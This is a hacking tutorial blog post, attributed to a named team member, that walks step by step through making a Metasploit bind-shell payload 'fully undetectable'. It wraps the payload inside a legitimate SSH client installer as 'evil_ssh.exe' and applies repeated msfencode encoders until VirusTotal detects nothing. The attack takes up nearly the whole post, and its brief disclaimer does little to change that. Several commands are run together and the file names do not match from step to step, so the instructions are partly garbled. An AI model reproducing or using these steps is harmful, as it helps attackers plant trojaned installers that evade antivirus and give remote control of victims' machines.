BY pass Antivirus

So in this tutorial we will show you step by step on how to make a virus Fully Undetectable from all the antiviruses. Thought their are lots of approaches, however our team member Malik Rafay has managed to find a way to make an executable FUD using msfencode.

Requirements 

A Backtrack machine , real or virtual. I used Backtrack 5 r3, but other versions of Backtrack are working OK too !!!


Attention !!!


We are using some harmless test files but don't infect people with any real viruses that's a Crime and we here at MPK are not responsible for 


Purpose:

Antivirus protects machines from malware but not all of it .there are ways to pack malware to make it harder to detect. well use metasploit to render malware completely invisible to antivirus.

Creating a Listener:

This is a simple payload that gives the attacker remote control of a machine. It is not a virus ant won't spread, but it is detected by antivirus engines. In Backtrack in a Terminal windows execute these commands:  

cd
msfpayload windows/shell_bind_tcp LPORT=2482 X > /root/listen.exe
ls -l listen.exe

You should see the test.exe file as shown below:

Analyzing the Listener with VirusTotal

Go to https://www.virustotal.com/en/

Click the "Choose File" button. Navigate to /root and double-click the listen.exe"listen.exe" appears in the "Choose File" box, as shown below:

In the virustotal web page , Click the "scan it" button !!!

If you see a "File already analyzed" message, click the "View last analysis" button.

The analysis shows that many of the antivirus engines detected the file--33 out of 42, when I did it, as shown below. You may see different numbers, but many of the engines should detect it.

Encoding the Listener 

this process will encode the listener, & insert it into an innocent SSH file.

In BackTrack, in a Terminal window, execute these commands:

wget ftp://ftp.ccsf.edu/pub/SSH/sshSecureShellClient-3.2.9.exemsfencode -i /root/listen.exe -t exe -x /root/sshSecureShellClient-3.2.9.exe -k -o /root/evil_ssh.exe -e x86/shikata_ga_nai -c 1ls -l evil*

You should see the evil-ssh.exe file as shown below :

Scan with virusTOTAL

Go to: https://www.virustotal.com/

If you see a "File already analyzed" message, click the "View last analysis" button.

The analysis shows that fewer of the antivirus engines detect the file now--21 out of 42, when I did it, as shown below. You may see different numbers.

 

Encode the Listener Again This process will encode the listener with several different encodings.

In BackTrack, in a Terminal window, execute these commands:

msfencode -i /root/test.exe -t raw -o /root/listen2.exe -e x86/shikata_ga_nai -c 1msfencode -i /root/listen2.exe -t raw -o

/root/listen3.exe -e x86/jmp_call_additive -c 1
msfencode -i /root/test3.exe -t raw -o /root/test4.exe -e x86/call4_dword_xor -c 1

msfencode -i /root/test4.exe -o /root/test.exe -e x86/shikata_ga_nai -c 1ls -l listen*

You should see several files as shown below :

Analyzing Again

The analysis shows that fewer of the antivirus engines detect the file now 0 out of 42 When I did it as shown below. you may see different numbers.

About The Author 

The article is written by Malik Rafay, He is an independent security researcher and is the newest member on RHA team. You can contact him here.